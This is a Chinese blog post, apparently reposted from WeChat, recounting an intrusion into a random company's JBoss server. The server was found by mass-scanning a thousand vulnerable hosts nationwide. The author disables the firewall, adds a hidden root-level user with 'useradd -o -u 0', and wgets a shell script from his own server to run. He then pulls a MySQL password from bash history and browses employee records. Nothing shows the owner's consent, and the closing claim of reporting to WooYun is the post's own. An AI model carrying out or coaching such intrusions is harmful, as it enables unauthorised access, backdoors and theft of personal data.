记一次曲折的渗透测试经历

昨日排版时图片发生错误，重更一遍

0x 00 序

昨天把jexboss脚本整合到我的多线程框架里，扫了一遍全国jboss，发现一千多个shell.

工具地址在(点击原文可跳转)：https://github.com/Xyntax/POC-T

随意拿了一个看似大厂商的，作本次入侵测试

---

0x 01 发现传送门

通过jexboss拿到shell，看到是centos的机器(IP已打码)．

看起来是root，确认一下．

---

0x 02 不稳定的传送门

shell的问题

接下来执行命令的时候，发现这个jexboss自带的shell很不稳定．出现各种问题，包括但不限于以下两个严重问题：
– 执行有交互的命令时，程序会崩溃退出．比如说：cat命令会正常回显，但是vi命令会导致shell直接报错退出．
– 命令错误时，无回显

只好自己再做个稳定的shell

---

nc的尝试

看到系统有nc．我想简单用nc弹个稳定的shell回来，发现我提交的所有nc命令都没有回显，且连不上shell．

---

Py的尝试

放弃了nc，看看系统有没有python，结果还是--version没回显，但是有-h

然后我又想用py弹个shell回来，用了这段代码，发现也没有成功，有点古怪．

我又执行了一句简单的print，仍然没有回显！

why?

这里我思考了一下，如果它是因为报错了才无回显．那么能引起报错的应该是代码中( ) ' "等特殊字符在传输过程出现了错误．

我又用几个简单的shell代码具体测试了一下，证实猜测：
– 含有' " | > >> & 等特殊字符的命令，均不能执行．且没有回显

这意味着我基本不能通过这个shell执行含有非字母字符的命令了！
不能使用nc，不能使用python，管道，重定向都不行了

---

SSH的尝试

看来这个shell基本是废的．看了下进程，端口，以及iptables防火墙，发现一些针对性的配置，说明还是部署了一些安全防御的．看到22端口后，我果断关了防火墙．我新建个用户，然后外面用ssh连不就OK了么

于是我新建了一个管理员用户
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash php

查看了一下/etc/passwd没有问题，创建成功！

然后在修改其密码时
passwd php

没有回显！！！

我想起来，这个修改密码的动作是要用户交互几次的．之前说过，执行交互的命令都是报错退出，没回显．．所以又完蛋了

一般ssh都不会允许空密码连接的，我试了一下，结果像这样．
ssh: connect to host 183.xxx.xxx.xxx port 22: Connection refused




我查看下ssh的配置文件cat /etc/ssh/sshd_config
结果如下：

#   $OpenBSD: sshd_config,v 1.97 2015/08/06 14:53:21 deraadt Exp $
# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

Port 2525

#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

除了配置文件里禁止了空密码登录外，管理员还把ssh的默认端口改成了2525，可以可以

于是我在配置文件里加一句话，允许空密码登录不就OK了么．

然而我在写命令时，不能用非字母字符！还不能使用编辑器交互！
vi直接崩，sed不行，echo重定向也不行．．．

---

0x 03稳定的传送门

根据这个辣鸡shell的臊性，看来我是很难往系统里写入东西了，于是在外部下载代码本地执行总可以的吧，反正有Python了．

wget xxx.xxx.xxx 这个命令没有特殊字符！应该可以执行

写了个脚本挂在我的服务器上，再从目标机wget到本地．
ls出来的时候，我就炸了！

果断python shell.py ，看到那个sh-4.1 出来的时候就知道搞定了！

然后改了我建立用户的密码，外部ssh连接，传送门终于稳定下来．

---

0x 04逛逛数据库

拿到稳定的shell，看看数据库

试试在命令历史中寻找相关命令：
cat ~/.bash_history |grep sql

结果如下，果然有货

这里mysql的老司机们一看便知-p后面其实是不需要跟内容的，后面的参数123456其实是数据库名．

难道它dump出来的数据库就叫123456？不太可能吧，明显是新手把管理员把密码放到-p后面了吧！

一试果然，不费吹灰之力进了数据库：

mysql里面的命令行对我来说早就轻车熟路

use information_schema

select table_name,table_rows from tables 
where TABLE_SCHEMA = 'cloudcompany' 
order by table_rows desc;

管理员表：

都是员工数据(216条数据)，来看一条：

挑一些有用的看看：

另外一个表(30W数据)：

---

0x 05 结语

看来数据库没太多东西．边做边写文章效率太低，已经工作快四个小时了，内网什么的不做了，交漏洞走人！

注：本文已屏蔽所有敏感数据，仅供技术交流，该入侵事件已提交乌云漏洞平台．

转载请注明出处，并告知本人
mail: [email protected]

原文始发于微信公众号（乐枕迭代日志）：记一次曲折的渗透测试经历